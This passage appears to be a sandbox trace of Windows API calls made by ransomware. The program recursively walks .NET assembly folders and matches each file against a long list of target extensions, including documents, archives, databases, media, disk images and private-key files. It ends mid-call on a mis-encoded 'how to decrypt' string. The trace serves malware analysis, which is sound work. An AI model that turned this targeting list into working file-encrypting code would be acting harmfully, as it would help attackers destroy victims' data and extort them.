(pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.dll", pszSpec="*.cs") returned 0 [0099.419] lstrlenA (lpString="*.cs") returned 4 [0099.419] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.dll", pszSpec="*.cpp") returned 0 [0099.419] lstrlenA (lpString="*.cpp") returned 5 [0099.419] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.dll", pszSpec="*.rar") returned 0 [0099.419] lstrlenA (lpString="*.rar") returned 5 [0099.419] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.dll", pszSpec="*.zip") returned 0 [0099.419] lstrlenA (lpString="*.zip") returned 5 [0099.419] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.dll", pszSpec="*.html") returned 0 [0099.419] lstrlenA (lpString="*.html") returned 6 [0099.419] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.dll", pszSpec="*.htm") returned 0 [0099.419] lstrlenA (lpString="*.htm") returned 5 [0099.419] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.dll", pszSpec="*.xlsx") returned 0 [0099.419] lstrlenA (lpString="*.xlsx") returned 6 [0099.420] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.dll", pszSpec="*.xls") returned 0 [0099.420] lstrlenA (lpString="*.xls") returned 5 [0099.420] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.dll", pszSpec="*.mp4") returned 0 [0099.420] lstrlenA (lpString="*.mp4") returned 5 [0099.420] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.dll", pszSpec="*.ppt") returned 0 [0099.420] lstrlenA (lpString="*.ppt") returned 5 [0099.420] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.dll", pszSpec="*.pptx") returned 0 [0099.420] lstrlenA (lpString="*.pptx") returned 6 [0099.420] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.dll", pszSpec="*.doc") returned 0 [0099.420] lstrlenA (lpString="*.doc") returned 5 [0099.420] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.dll", pszSpec="*.dot") returned 0 [0099.420] lstrlenA (lpString="*.dot") returned 5 [0099.420] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.dll", pszSpec="*.docx") returned 0 [0099.420] lstrlenA (lpString="*.docx") returned 6 [0099.420] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.dll", pszSpec="*.7z") returned 0 [0099.420] lstrlenA (lpString="*.7z") returned 4 [0099.420] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.dll", pszSpec="*.tar") returned 0 [0099.420] lstrlenA (lpString="*.tar") returned 5 [0099.421] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.dll", pszSpec="*.bz2") returned 0 [0099.421] lstrlenA (lpString="*.bz2") returned 5 [0099.421] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.dll", pszSpec="*.gz") returned 0 [0099.421] lstrlenA (lpString="*.gz") returned 4 [0099.421] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.dll", pszSpec="*.mkv") returned 0 [0099.421] lstrlenA (lpString="*.mkv") returned 5 [0099.421] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.dll", pszSpec="*.eml") returned 0 [0099.421] lstrlenA (lpString="*.eml") returned 5 [0099.421] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.dll", pszSpec="*.msg") returned 0 [0099.421] lstrlenA (lpString="*.msg") returned 5 [0099.421] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.dll", pszSpec="*.edb") returned 0 [0099.421] lstrlenA (lpString="*.edb") returned 5 [0099.421] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.dll", pszSpec="*.accdb") returned 0 [0099.421] lstrlenA (lpString="*.accdb") returned 7 [0099.421] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.dll", pszSpec="*.odb") returned 0 [0099.421] lstrlenA (lpString="*.odb") returned 5 [0099.421] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.dll", pszSpec="*.java") returned 0 [0099.421] lstrlenA (lpString="*.java") returned 6 [0099.422] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.dll", pszSpec="*.asm") returned 0 [0099.422] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.dll", pszSpec="*.pfx") returned 0 [0099.422] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.dll", pszSpec="*.pem") returned 0 [0099.422] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.dll", pszSpec="*.p12") returned 0 [0099.422] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.dll", pszSpec="*.gpg") returned 0 [0099.422] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.dll", pszSpec="*.vsd") returned 0 [0099.422] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.dll", pszSpec="*.odg") returned 0 [0099.422] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.dll", pszSpec="*.raw") returned 0 [0099.423] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.dll", pszSpec="*.nef") returned 0 [0099.423] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.dll", pszSpec="*.svg") returned 0 [0099.423] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.dll", pszSpec="*.psd") returned 0 [0099.423] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.dll", pszSpec="*.vmx") returned 0 [0099.423] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.dll", pszSpec="*.vmdk") returned 0 [0099.423] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.dll", pszSpec="*.vdi") returned 0 [0099.423] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.dll", pszSpec="*.lay6") returned 0 [0099.423] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.dll", pszSpec="*.mpeg") returned 0 [0099.423] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.dll", pszSpec="*.djvu") returned 0 [0099.423] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.dll", pszSpec="*.tiff") returned 0 [0099.423] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.dll", pszSpec="*.backup") returned 0 [0099.424] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.dll", pszSpec="*.pdf") returned 0 [0099.424] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.dll", pszSpec="*.cert") returned 0 [0099.424] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.dll", pszSpec="*.docm") returned 0 [0099.424] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.dll", pszSpec="*.xlsm") returned 0 [0099.424] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.dll", pszSpec="*.dwg") returned 0 [0099.424] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.dll", pszSpec="*.nd") returned 0 [0099.424] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.dll", pszSpec="*.tlg") returned 0 [0099.424] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.dll", pszSpec="*.lgb") returned 0 [0099.424] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.dll", pszSpec="*.mov") returned 0 [0099.424] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.dll", pszSpec="*.xdw") returned 0 [0099.425] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.dll", pszSpec="*.ods") returned 0 [0099.425] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.dll", pszSpec="*.wav") returned 0 [0099.425] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.dll", pszSpec="*.mp3") returned 0 [0099.425] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.dll", pszSpec="*.aiff") returned 0 [0099.425] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.dll", pszSpec="*.flac") returned 0 [0099.425] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.dll", pszSpec="*.m4a") returned 0 [0099.425] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.dll", pszSpec="*.csv") returned 0 [0099.425] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd36680c0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd36680c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd36680c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0xa1c0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0099.425] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0099.425] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd36680c0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd36680c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd36680c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="10.0.0.0__b03f5f7f11d50a3a", cAlternateFileName="1000~1.0__")) returned 0 [0099.425] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0099.426] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4dfd6c0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xf4dfd6c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf4dfd6c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e726574, dwReserved1=0x2e303176, cFileName="Microsoft.VisualStudio.Tools.Office.Runtime.v10.0", cAlternateFileName="MI78E2~1.0")) returned 1 [0099.426] lstrcmpA (lpString1=".", lpString2="Microsoft.VisualStudio.Tools.Office.Runtime.v10.0") returned -1 [0099.426] lstrcmpA (lpString1="..", lpString2="Microsoft.VisualStudio.Tools.Office.Runtime.v10.0") returned -1 [0099.426] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0099.426] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\", lpString2="Microsoft.VisualStudio.Tools.Office.Runtime.v10.0" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0" [0099.426] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4dfd6c0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xf4dfd6c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf4dfd6c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0099.427] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0099.427] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4dfd6c0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xf4dfd6c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf4dfd6c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.427] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0099.427] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0099.427] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd36da4e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd36da4e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd36da4e0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="10.0.0.0__b03f5f7f11d50a3a", cAlternateFileName="1000~1.0__")) returned 1 [0099.427] lstrcmpA (lpString1=".", lpString2="10.0.0.0__b03f5f7f11d50a3a") returned -1 [0099.427] lstrcmpA (lpString1="..", lpString2="10.0.0.0__b03f5f7f11d50a3a") returned -1 [0099.427] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0\\*.*") returned="*.*" [0099.428] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0\\", lpString2="10.0.0.0__b03f5f7f11d50a3a" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0\\10.0.0.0__b03f5f7f11d50a3a") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0\\10.0.0.0__b03f5f7f11d50a3a" [0099.428] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd36da4e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd36da4e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd36da4e0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0099.428] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0099.428] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd36da4e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd36da4e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd36da4e0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.428] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0099.428] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0099.428] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd36da4e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd36da4e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd3700640, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x58da0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0099.428] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0099.428] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ 